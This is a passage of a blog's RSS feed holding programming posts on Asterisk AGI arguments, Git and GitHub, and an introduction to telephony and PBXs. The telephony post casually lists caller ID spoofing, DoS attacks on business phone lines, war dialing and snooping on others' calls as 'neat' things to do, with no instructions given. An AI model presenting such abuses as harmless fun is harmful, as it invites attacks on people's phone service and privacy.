command AGI allows for us to pass up to 127 arguments to our AGI application.
This should be sufficient for most needs.&lt;/p>
&lt;p>To pass arguments from the dial plan to your AGI script, you can simply add them
in a comma delimited list after your AGI application path is specified:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,1,AGI(hello-world.sh,arg1,arg2,arg3)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As you&amp;rsquo;ll notice in the above example, I did not put spaces after each comma.
That is because if you add spaces, Asterisk will interpret them literally and
your program will receive the argument with a space character prepended to it.
This may (or may not) be desirable, based on your application specifications.&lt;/p>
&lt;p>The arguments will be available to your AGI application both via the standard
argument list &lt;em>and&lt;/em> via the initial Asterisk variable list. Each programming
language handles it differently. Here is an AGI log which shows our old
&lt;code>hello-world.sh&lt;/code> program being called with 3 arguments:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_request: hello-world.sh
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_channel: SIP/flowroute-ac10d3c8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_language: en
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_type: SIP
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_uniqueid: 1266365654.10672
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_version: 1.6.1.1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_callerid:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_calleridname: unknown
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_callingpres: 0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_callingani2: 0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_callington: 0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_callingtns: 0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_dnid:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_rdnis: unknown
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_context: inbound
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_extension:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_priority: 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_enhanced: 0.0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_accountcode:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_threadid: 1097206080
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_arg_1: arg1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_arg_2: arg2
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_arg_3: arg3
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Rx &amp;lt;&amp;lt; ANSWER
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; 200 result=0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Rx &amp;lt;&amp;lt; NOOP hello, world!
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; 200 result=0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Rx &amp;lt;&amp;lt; HANGUP
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; 200 result=1
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As you can see, after the initial arguments have been passed, Asterisk simply
adds a new line with for each additional argument passed to the AGI script.
This makes reading in these variables easy and doesn&amp;rsquo;t require any extra effort
on your part.&lt;/p>
&lt;h2 id="where-to-get-agi-information">Where to Get AGI Information&lt;/h2>
&lt;p>Now that we&amp;rsquo;ve introduced and explained how AGI programs work, there is nothing
left to do except start writing some for yourself! The definitive reference to
AGI commands and functions can be found on &lt;a href="http://www.voip-info.org/wiki/view/Asterisk+AGI" title="Asterisk Gateway Interface Wiki Page">VoIP Info&amp;rsquo;s AGI page&lt;/a>.&lt;/p>
&lt;p>If you are comfortable with Asterisk dial plan, you&amp;rsquo;ll easily pick up the AGI
commands. If you have no prior experience, then look for some references /
examples in the VoIP info page as they have numerous examples and help
available.&lt;/p></description></item><item><title>Get Outside</title><link>https://rdegges.com/2010/get-outside/</link><pubDate>Sat, 13 Feb 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/get-outside/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/get-outside/park-sketch.png" alt="Park Sketch" title="Park Sketch">
&lt;/p>
&lt;p>The stereotype of a computer programmer is a harsh (and mostly true) one. The
typical computer programmer lives inside, in small dark rooms, typing away for
hours at a time behind large monitors and drinking highly caffeinated drinks.
Now, this isn&amp;rsquo;t a bad thing (quite the other way, actually), but it does
definitely have an effect on your life. I have been living this lifestyle for
quite a while, and only recently begun to change my habits around to avoid the
madness that was once my life. While I definitely love the hacker lifestyle,
and it totally suits my personality, something was definitely missing: real
life.&lt;/p>
&lt;p>For me, the change happened when I got out of school and started working full
time. I actually had a schedule to follow, had to wake up early, drive into the
office, etc. This was a huge change, as I was actually awake during the day
&lt;em>and&lt;/em> night instead of just the night. I really hated it at first, but after a
while it grows on you. The sunlight made a big difference. And over time, I
just gradually came to appreciate the outdoors more and more. Now, I have a
hard time going for an entire day without stepping outside for at least a few
minutes to get some fresh air. Being outside clears my head, makes me feel
refreshed, and just generally de-frustrates me. Sometimes sitting inside for
like 20 hours straight trying to figure out why my CSS won&amp;rsquo;t render on IE,
Chrome, and Firefox will drive me mad, and the only way to escape is to go
outside for a few minutes and walk around.&lt;/p>
&lt;p>So after analysing this situation for a while in my head. I came to the
conclusion that many programmers, like myself, probably never go outside because
they&amp;rsquo;ve never really gotten the time. There are tons of things that prevent you
from doing it: work, learning, trying to finish that one bit of code, munchies,
sleep schedules, etc.&lt;/p>
&lt;p>So why should you ever go outside anyway? Lots of reasons. It helps clear your
head, gets you some vitamin D, makes you feel more human, and just generally
increases your happiness.&lt;/p>
&lt;p>So now you just need to find a way to get outside more often. Here are my
suggestions (learned from experience):&lt;/p>
&lt;ul>
&lt;li>Take a break from coding when you get stuck on a difficult problem, and walk
outside for a few minutes.&lt;/li>
&lt;li>Get a laptop, and go to a public place with free wifi.&lt;/li>
&lt;li>Get a daytime job.&lt;/li>
&lt;li>Get a pet (and take them to the park every now and then).&lt;/li>
&lt;li>Get a girlfriend (I&amp;rsquo;ve heard they like to do things that are not always
inside).&lt;/li>
&lt;li>While these suggestions are obvious, clear things, they really do help. If
nothing else, I&amp;rsquo;d recommend getting a laptop and doing some work outside.
Just make sure you have one of those glare-resistant screens (nothing is
worse than sitting outside with a laptop if it has one of those shitty
reflective screens).&lt;/li>
&lt;/ul>
&lt;p>So, in conclusion: get outside every now and then. It&amp;rsquo;ll clear your head, help
you program better, and keep your sanity in check.&lt;/p></description></item><item><title>Writing is Hard</title><link>https://rdegges.com/2010/writing-is-hard/</link><pubDate>Fri, 12 Feb 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/writing-is-hard/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/writing-is-hard/man-writing-sketch.png" alt="Man Writing Sketch" title="Man Writing Sketch">
&lt;/p>
&lt;p>One thing I am absolutely horrible at is writing. I may be able to throw a few
sentences together, but I am absolutely horrible at writing. Why is that?
Mostly because I&amp;rsquo;m afraid. There are so many things I&amp;rsquo;d like to write about,
new programming ideas, new techniques learned, interesting technical and
non-technical content, but I never make myself do it. I&amp;rsquo;ll get started, open up
my editor, pick a topic, and start writing-but never find the will to finish.&lt;/p>
&lt;p>I was reflecting on this all last week, and came to the conclusion that I hate
to fail. When I start writing, I envision a perfect article / blog post / paper
that everyone will love, and that will be absolutely perfect. But when I
actually start writing, I realize how much energy and effort is required in
order to make it as perfect as I envision, and then give up, knowing that I will
not be able to reach that level.&lt;/p>
&lt;p>So I&amp;rsquo;m making a resolution with myself that I&amp;rsquo;ll try to strictly enforce: if I
start writing something I will finish it, no matter how bad it turns out to be.&lt;/p>
&lt;p>I think it will be a great learning tool for me, to force myself to improve as a
writer and a thinker, and I&amp;rsquo;m looking forward to it.&lt;/p>
&lt;p>Writing is hard.&lt;/p></description></item><item><title>My Git</title><link>https://rdegges.com/2009/my-git/</link><pubDate>Fri, 04 Dec 2009 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2009/my-git/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2009/my-git/pro-git-book-cover.png" alt="Pro Git Book Cover" title="Pro Git Book Cover">
&lt;/p>
&lt;p>A few days back I ordered a copy of &lt;a href="http://scottchacon.com/" title="Scott Chacon">Scott Chacon&lt;/a>&amp;rsquo;s book: &lt;a href="http://www.amazon.com/gp/product/1430218339/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1430218339&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Pro Git">Pro Git&lt;/a>, which
I am really enjoying reading. Scott is an excellent writer, and really does
justice to &lt;a href="http://git-scm.com/" title="Git">Git&lt;/a>. I was reflecting on his enthusiasm, and thinking about my
own. Here are my thoughts on Git, and my experience with it over the years.&lt;/p>
&lt;p>I started using Git around 2 years ago when I saw a screencast discussing it
online. What initially drew me to Git was that it was created by &lt;a href="http://en.wikipedia.org/wiki/Linus_Torvalds" title="Linus Torvalds">Linus&lt;/a> (who
was very enthusiastic about it), and that my previous experiences with version
control systems (&lt;a href="http://en.wikipedia.org/wiki/Revision_control" title="Revision Control">VCS&lt;/a>) were horrible. Naturally, I wanted to give it a try,
and get back to the best-practices way of doing things (using a VCS).&lt;/p>
&lt;p>When I first learned about VCS, pretty much everyone used &lt;a href="http://subversion.apache.org/" title="Subversion">SVN&lt;/a> or &lt;a href="http://cvs.nongnu.org/" title="Concurrent Versions System">CVS&lt;/a>.
When I researched them both, there was no doubt in my mind that SVN was clearly
the most popular, and so that&amp;rsquo;s what I decided to learn. I started using SVN
for all of my code (most of it was hosted on &lt;a href="http://sourceforge.net/" title="SourceForge">SourceForge&lt;/a> at some point or
another), and learned it well enough to push periodic updates to my projects
and do basic collaboration with a few other people.&lt;/p>
&lt;p>However, I never really liked SVN. It was always slow and time consuming to
perform commits (something that you should do extremely frequently), so I just
stopped doing them often. This got me into the bad habit of only performing a
commit for a release, something that is definitely frowned upon, and completely
nullifies any benefits that you get from using a VCS in the first place! To
make the situation even worse: at the time, a good portion of the code I was
writing was offline. This meant that I was unable to make commits when working
on my code, as without an internet connection I couldn&amp;rsquo;t connect to the remote
repository.&lt;/p>
&lt;p>Using SVN also imposed limits on my work with others. A lot of the projects I
worked on required collaboration with several other people. Using SVN slowed
the process down. Performing merges, managing access rights, and doing SVN
updates always took a lot of time. Also, if the SVN repository was down, it
meant that nobody could access the source or project history, which made team
effort difficult.&lt;/p>
&lt;p>The other large issue I had (and still have) with SVN is that there are no good
project hosting websites out there which meet my needs. SourceForge, which is
probably the largest and most popular SVN project hosting site is slow, filled
with ads, and has an unintuitive interface. It also requires approval for every
project which can sometimes take hours. What I want in a project hosting site
is something that:&lt;/p>
&lt;ul>
&lt;li>Has a clean and pretty interface with no (or few) ads.&lt;/li>
&lt;li>Allows developers to instantly create a new project and get to work.&lt;/li>
&lt;li>Makes managing access rights and collaboration simple.&lt;/li>
&lt;li>Allows private projects, which are necessary for proprietary code.&lt;/li>
&lt;li>Has an issue tracker for each project, which allows advanced categorization
of bugs and fixes. Something that makes it easy for both users to submit
issues (and propose fixes), and developers to close bugs and keep it
organized.&lt;/li>
&lt;li>Allows you to store large projects and releases.&lt;/li>
&lt;li>Has a pretty source viewer so that users can casually browse any version of
your source code through a simple navigation window, and can permalink to
any piece of code at their whim.&lt;/li>
&lt;li>Allows users to embed snippets of code in their web pages for display on
other sites.&lt;/li>
&lt;li>Has pretty URLs, none of that &lt;code>?p=155&lt;/code> stuff.&lt;/li>
&lt;li>Has a wiki system that looks nice and is simple to navigate for users.&lt;/li>
&lt;li>Has detailed graphs and statistics for each project.&lt;/li>
&lt;li>Has some sort of &amp;lsquo;watch&amp;rsquo; or &amp;lsquo;follow&amp;rsquo; functionality which allows users to
monitor the status of a project over time.&lt;/li>
&lt;/ul>
&lt;p>Enter Git. &lt;em>Git felt like it was designed for me.&lt;/em>&lt;/p>
&lt;p>As a developer who works on many projects small and large, I need a VCS which
will be as flexible as I am.&lt;/p>
&lt;p>Git is fully distributed, so no matter where I am or how many people are working
on a project, I always have complete access to all revisions of the source.
There are no file deltas (Git stores the entire file), and I can instantly see
what the source looked like at any given time in the project&amp;rsquo;s history whether
I&amp;rsquo;m online or offline. This gives me the flexibility to get work done wherever
I am, whether it be on a plane, at the beach, or in the park. When you perform
commits in Git, the files are checked into your local repository. Once you have
internet access, you can push to your remote repository and add your full
history straight into the project as if you were online the entire time.&lt;/p>
&lt;p>Git also makes collaboration a simple process. I don&amp;rsquo;t have to manage a Git
database and allow access to certain users: when someone makes a patch or adds
code, they can simply link me to their Git repository, and I can merge it into
the project at my leisure. This has the added benefit of being able to see all
of the source contributor&amp;rsquo;s history in my project once I have merged the
branches together. This makes working with other people extremely easy and
reduces the hassle of managing a large monolithic SVN repository.&lt;/p>
&lt;p>Git also handles merging and re-basing beautifully. When conflicts arise I am
notified, and the current working revision is put on hold until these errors are
fixed or stashed. Git adds the appropriate conflict information to my files so
I can see exactly what is conflicting, and how it needs to be changed to
progress.&lt;/p>
&lt;p>Lastly, Git has an great community, and &lt;a href="https://github.com/" title="GitHub">GitHub&lt;/a>. GitHub is the ultimate
project hosting site. You can create projects instantly and store large files.
You can also store all of your SSH keys for the various systems you work on,
thereby showing different commit users and / or messages. GitHub has a simple
and intuitive web interface which looks great, and has clean functionality for
users, developers, and people exploring the site.&lt;/p>
&lt;p>The GitHub source viewer is nice as well. It lets you browse the entire history
of the project, you can see a full snapshot of exactly what the source looked
like at any given time. It also allows you to get a direct permalink to any
particular source file from any revision in the project&amp;rsquo;s history. This is
extremely useful for source review and any sort of online publishing /
collaboration tools.&lt;/p>
&lt;p>One of my favorite GitHub features is the ability to instantly &amp;lsquo;fork&amp;rsquo; a project.
Forking a project is extremely easy, simply click the &amp;lsquo;fork&amp;rsquo; button on the
project you&amp;rsquo;d like to fork. GitHub will instantly copy the projects source /
history to your account, and automatically create your own Git repository for
the project which you can change and modify all you like. This is very useful,
as if you see a project you&amp;rsquo;d like to make a patch for, you can fork it, make
the patch, and link the real project owner to your forked repository, where they
can then merge in your changes! It&amp;rsquo;s also useful for people who just want to
make their own modifications to a project. GitHub&amp;rsquo;s forking provides an elegant
solution to a common problem.&lt;/p>
&lt;p>Yet another nice feature of GitHub is it&amp;rsquo;s social networking type feel. Every
account can &amp;lsquo;watch projects&amp;rsquo;, send private messages, add and remove friends, and
get instant updates when your friends add / remove code to their projects.
GitHub is also releasing a resume searching tool on their site at some point in
the near future, and they have already implemented resume pages for each user
who wishes to add to them. This means that in addition to providing project
hosting, they&amp;rsquo;ll also be able to help companies find talented programmers based
on their actual work!&lt;/p>
&lt;p>GitHub also has many other neat features including a wiki system, statistics
system for gathering project stats, and a language browsing feature which makes
finding new projects in your favorite programming languages fun.&lt;/p>
&lt;p>Since learning Git, and discovering all the nice features that it offers (in
addition to the general awesomeness of GitHub), I think that I&amp;rsquo;ve definitely
become a better programmer. Git has helped me remedy my bad habits by making
the committing and merging systems thoughtless, and has given me the ability to
really get the most out of my coding experiences. Git has also made running an
contributing to open source projects fun again, and that what it is all about.&lt;/p></description></item><item><title>Transparent Telephony - Part 1 - An Introduction</title><link>https://rdegges.com/2009/transparent-telephony-part-1-an-introduction/</link><pubDate>Mon, 31 Aug 2009 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2009/transparent-telephony-part-1-an-introduction/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2009/transparent-telephony-part-1-an-introduction/telephone-sketch.png" alt="Telephone Sketch" title="Telephone Sketch">
&lt;/p>
&lt;p>So you&amp;rsquo;ve probably heard the word telephony thrown around from time to time.
Maybe you were hanging out in a certain IRC channel, wanted to root your cell
phone, or maybe, just maybe, you were actually interested in doing something
cool with your computers and phones.&lt;/p>
&lt;p>This article is the first of a series. I&amp;rsquo;m going to try my best to explain what
telephony is, how it works, and how to write cool programs that integrate voice
and data. Telephony is a huge market, and used everywhere (think cell phones).
We are living in a time when telephony is casual, common, and popular. While
being so huge, it often astounds me to think of how few programmers and tech
people ever get around to learning about it, or playing with it. There are
very few telephony programmers, and even less proper documentation. My hopes
are that these articles will give you a solid foundation in telephony and
inspire you to play around with it on your own, and do cool things.&lt;/p>
&lt;p>Now that we&amp;rsquo;ve got the basics out of the way, let&amp;rsquo;s get down to business&amp;hellip;&lt;/p>
&lt;h2 id="pstn">PSTN&lt;/h2>
&lt;p>Before we get into any setup or detailed information, we need to cover the
global network which allows interconnection between telephones. This is
referred to as the PSTN (public switched telephone network). The PSTN is much
like the Internet as it provides a system of routing to move calls from one
phone to another. Traditionally, the PSTN consisted of analog devices and
relays which carried voice from phone A to phone B, but in recent years the
PSTN has been increasingly digitized.&lt;/p>
&lt;p>The digital circuit in the PSTN is a 64 Kbps channel, and all audio is
digitized at 8 kHz. That is, the highest quality voice you can get while
making phone calls across the PSTN is 8 kHz (horribly low compared to a
standard mp3, most mp3s are sampled at 48 kHz).&lt;/p>
&lt;p>When you place a call from a home analog line, your call is sent to your LEC
(local exchange carrier) who then routes your call accordingly through the PSTN
to the desired destination. Details beyond this point are not necessary for
the purposes of this article, but there is a lot of interesting information on
Wikipedia regarding the history and development of the PSTN.&lt;/p>
&lt;h2 id="connecting-to-the-pstn">Connecting to the PSTN&lt;/h2>
&lt;p>There are many ways to connect to the PSTN. Chances are, you&amp;rsquo;ve probably only
seen / used a few on a regular basis.&lt;/p>
&lt;p>That phone sitting in your parent&amp;rsquo;s house, hooked up to that analog line (or
maybe DSL) is a standard POTS (plain old telephone service) line. These are
used all over the place, pretty much everyone uses these as &amp;lsquo;house lines&amp;rsquo;, and
many small businesses use them as well to get basic phone / fax service.&lt;/p>
&lt;p>The next most popular way to connect to the PSTN is mobile lines (cell phones).
Everyone has a cell phone now-a-days.&lt;/p>
&lt;p>Next we have T1 / E1. These are primarily business lines, and are dedicated
for voice communications. The T1 is the American version, and the E1 is the
European version. T1 / E1 lines can carry 24 calls over them, which is what
makes them very appealing to businesses. It&amp;rsquo;s also a lot cheaper to use a
dedicated T1 / E1 line as opposed to purchased 24 separate analog lines.&lt;/p>
&lt;p>A PRI / BRI line is very similar to a T1 / E1 line, except that it supports 23
calls max, and can handle more traffic due to it having a dedicated data
channel for performing call setup and tear downs, as well as passing caller ID
and other information, making it more efficient. Again, the PRI is the
American standard, while the BRI is the European standard.&lt;/p>
&lt;p>VoIP (voice over IP) is a relatively new way to connect to the PSTN using the
Internet. VoIP is extremely low-cost compared to other methods, and very easy
to setup as it only requires an active Internet connection to use. More and
more businesses are switching over to VoIP for cost reasons.&lt;/p>
&lt;p>These are the basic types of lines people use to connect to the PSTN. There
are others, but I don&amp;rsquo;t think they are worth mentioning here. Most businesses
use T1 / PRI lines because they are reliable. VoIP is a great way to get phone
service, but is still a very new protocol. One large problem with VoIP is
reliability, as it depends on the Internet for routing traffic. This of course
causes problems as businesses who lose Internet connectivity will be unable to
place and receive calls, unlike analog or dedicated digital lines.&lt;/p>
&lt;p>I personally use VoIP for everything: my home lines, programming, business
stuff, and everything in between. I&amp;rsquo;d highly recommend that if you want to
experiment with telephony and programming, that you get a VoIP line (I&amp;rsquo;ll cover
all this later).&lt;/p>
&lt;h2 id="phone-servers-pbxs">Phone Servers (PBXs)&lt;/h2>
&lt;p>A PBX (private branch exchange) is a device which provides phone service to
phones on a private network. Think of a PBX as a router, it connects
telephones together to form a private network, and acts as a portal allowing
PSTN access for phones that it serves. PBXs will be the focus of almost all my
future articles, as they are what allow us to do cool stuff with telephony.&lt;/p>
&lt;p>There are tons of different kinds of PBXs. Pretty much every business has a
PBX, or pays a company to host a PBX for them (just google PBX and you&amp;rsquo;ll see
what I mean). Why does anyone need a PBX? Well, PBXs provide different
services to the phones it has connected to it. Most PBXs offer services like:&lt;/p>
&lt;ul>
&lt;li>Voice-mail.&lt;/li>
&lt;li>Extensions (give each user a private phone number, kinda like a private
IP).&lt;/li>
&lt;li>Call forwarding (users can forward calls to their cell phones).&lt;/li>
&lt;li>Auto attendants (&amp;lsquo;Welcome to My Company, press 1 for sales, 2 for support,
&amp;hellip;&amp;rsquo;).&lt;/li>
&lt;li>Routing for phone numbers (you can have multiple phone numbers, and route
them to different phones).&lt;/li>
&lt;li>Paging and intercom (&amp;lsquo;Sale on soup on aisle 5&amp;rsquo;).&lt;/li>
&lt;li>Call recording.&lt;/li>
&lt;li>And many other things.&lt;/li>
&lt;/ul>
&lt;p>The neat thing about PBXs is that they aren&amp;rsquo;t as complex as you would think!
They are just computers, loaded with special software, and fully programmable.
Some of the most popular PBXs are Cisco, Avaya, and Asterisk. Cisco and Avaya
are proprietary and expensive, whereas Asterisk is free and open source.
Asterisk also supports all of the features of the proprietary PBXs, and many
more.&lt;/p>
&lt;h2 id="open-source-telephony-with-asterisk">Open Source Telephony With Asterisk&lt;/h2>
&lt;p>Back in 1999, Mark Spencer created Asterisk. It&amp;rsquo;s a free, open source PBX
system that is easily installable and usable on any Linux based operating
system. Since it&amp;rsquo;s creation, it has become one of the largest, most used PBX
systems in the world. I&amp;rsquo;m a pro with Asterisk, and we will use it as our
official PBX for all of my tutorials. You will master it. Asterisk can
provide reliable call routing for thousands of calls simultaneously, which
makes it ideal not only for small business usage, but for medium, large, and
even enterprise usage.&lt;/p>
&lt;p>In additional to being a great free PBX, Asterisk has also created a huge
market. Tons of companies sell Asterisk-based phone systems to people, and
many more sell custom programs and setup services to businesses looking to save
money by going open source.&lt;/p>
&lt;p>For programmers (like most of you), Asterisk provides many great features for
developing your own telephony applications. Stuff like the AGI (asterisk
Gateway interface), AMI (Asterisk manager interface), dialplan (Asterisk core
scripting language), call files, and many other features. I&amp;rsquo;ll cover all of
these items later in this series.&lt;/p>
&lt;p>As you&amp;rsquo;ve probably guessed, Asterisk makes integrating voice service with
pretty much anything else a breeze. This is one of the reasons why Asterisk is
so powerful, and why telephony rules. Not because it&amp;rsquo;s &amp;lsquo;cool&amp;rsquo; to talk on the
phone, but because we can integrate so many other things with it.&lt;/p>
&lt;h2 id="putting-it-all-together">Putting it All Together&lt;/h2>
&lt;p>Now that we&amp;rsquo;ve covered the core components that make telephony work, let&amp;rsquo;s see
how it all works together in a nice diagram :) Excuse my horrible art skills,
this is the best I could come up with:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2009/transparent-telephony-part-1-an-introduction/pstn-diagram.png" alt="PSTN Diagram" title="PSTN Diagram">
&lt;/p>
&lt;p>The PBX connects to the PSTN and acts as a gateway for all phones and programs
running on it to connect with the outside world. The PBX provides services and
routing for calls via whatever PSTN connection you are using (PRI / BRI / T1 /
E1 / POTS / VoIP).&lt;/p>
&lt;h2 id="neat-things-you-can-do-with-telephony">Neat Things You Can Do With Telephony&lt;/h2>
&lt;p>When I first started learning about telephony, it was for my work, and I didn&amp;rsquo;t
find it all that interesting. That is, until I learned all the cool things
that you can do with it. So I&amp;rsquo;ve listed some things below which are just basic
examples of things you can do (through simple telephony programming). If you
have any interest in this stuff, be sure to read the rest of this series, and
&lt;em>pwn&lt;/em> telephony!&lt;/p>
&lt;ul>
&lt;li>Spoof your caller ID.&lt;/li>
&lt;li>Change your voice.&lt;/li>
&lt;li>DoS phone lines (cripple a business&amp;rsquo; phone line).&lt;/li>
&lt;li>War dialing.&lt;/li>
&lt;li>Snoop on other people&amp;rsquo;s phone calls.&lt;/li>
&lt;li>Encrypt phone conversations.&lt;/li>
&lt;li>Automatically call people.&lt;/li>
&lt;li>Add functionality to your cell phone (record calls, spoof numbers, reboot
your home router, open your garage door, etc.)&lt;/li>
&lt;li>Send text messages for free, receive text messages and do stuff based on
the messages.&lt;/li>
&lt;li>Setup advanced auto attendants.&lt;/li>
&lt;li>Create conference calls.&lt;/li>
&lt;li>Place / receive video calls.&lt;/li>
&lt;li>Make international calls for cheap / free.&lt;/li>
&lt;/ul>
&lt;h2 id="sounds-cool-what-next">Sounds Cool, What Next?&lt;/h2>
&lt;p>Dive right into the action. The next article in the series will cover setting
up your very own Asterisk PBX system. I&amp;rsquo;ll have detailed setup information,
and we&amp;rsquo;ll walk through a complete installation step-by-step. You don&amp;rsquo;t need a
dedicated computer for this (even though it does make things a bit simpler),
all you&amp;rsquo;ll need is an Internet connection, and about 1 hour for setup.&lt;/p>
&lt;h2 id="motivation">Motivation&lt;/h2>
&lt;p>My motivation for writing this series is to get people involved in the
telephony world. There is a huge lack of telephony programmers, and as a
result, there aren&amp;rsquo;t that many cool telephony-based services. Also, the
phreaking scene has all but completely died off, and I think it is time to
reinvent the telephony hackers underground!&lt;/p></description></item></channel></rss>